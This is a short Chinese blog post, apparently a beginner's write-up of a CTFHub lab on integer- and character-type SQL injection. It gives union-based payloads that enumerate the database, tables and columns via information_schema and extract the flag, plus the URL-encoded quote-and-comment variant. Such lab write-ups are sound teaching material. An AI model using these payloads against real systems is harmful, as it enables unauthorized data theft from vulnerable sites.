CTFHUB 整数型/字符型注入

Xuannirvana

已于 2025-02-17 21:47:58 修改

阅读量124

点赞数 5

分类专栏： CTFHub 文章标签： sql

于 2025-02-17 20:42:59 首次发布

本文链接：https://blog.csdn.net/Xuannirvana/article/details/145690815

版权

1 篇文章

订阅专栏

~~纯新人~~
直接开题
在这里插入图片描述
提示输入1
出现sql语句

直接顺推id=1 2 3往后推
在3时发现无回显

然后联合查询爆库名

id=3 union select 1,database()

在这里插入图片描述
爆表名

id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

在这里插入图片描述
得到flag和news我们要的是flag
接着爆字段名

id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

在这里插入图片描述
最后爆flag字段

id=3 union select 1,group_concat(flag) from sqli.flag

在这里插入图片描述

ctfhub{717fbc167b220002f6202f67}

完结撒花~

字符型注入和整型一样只是在整数后加一个 ’ (%27)进行闭合操作和用 #(%23) 注释掉原本的单引号
格式

id=1%27 union select 1,database() %23

注意#号必须用url编码%23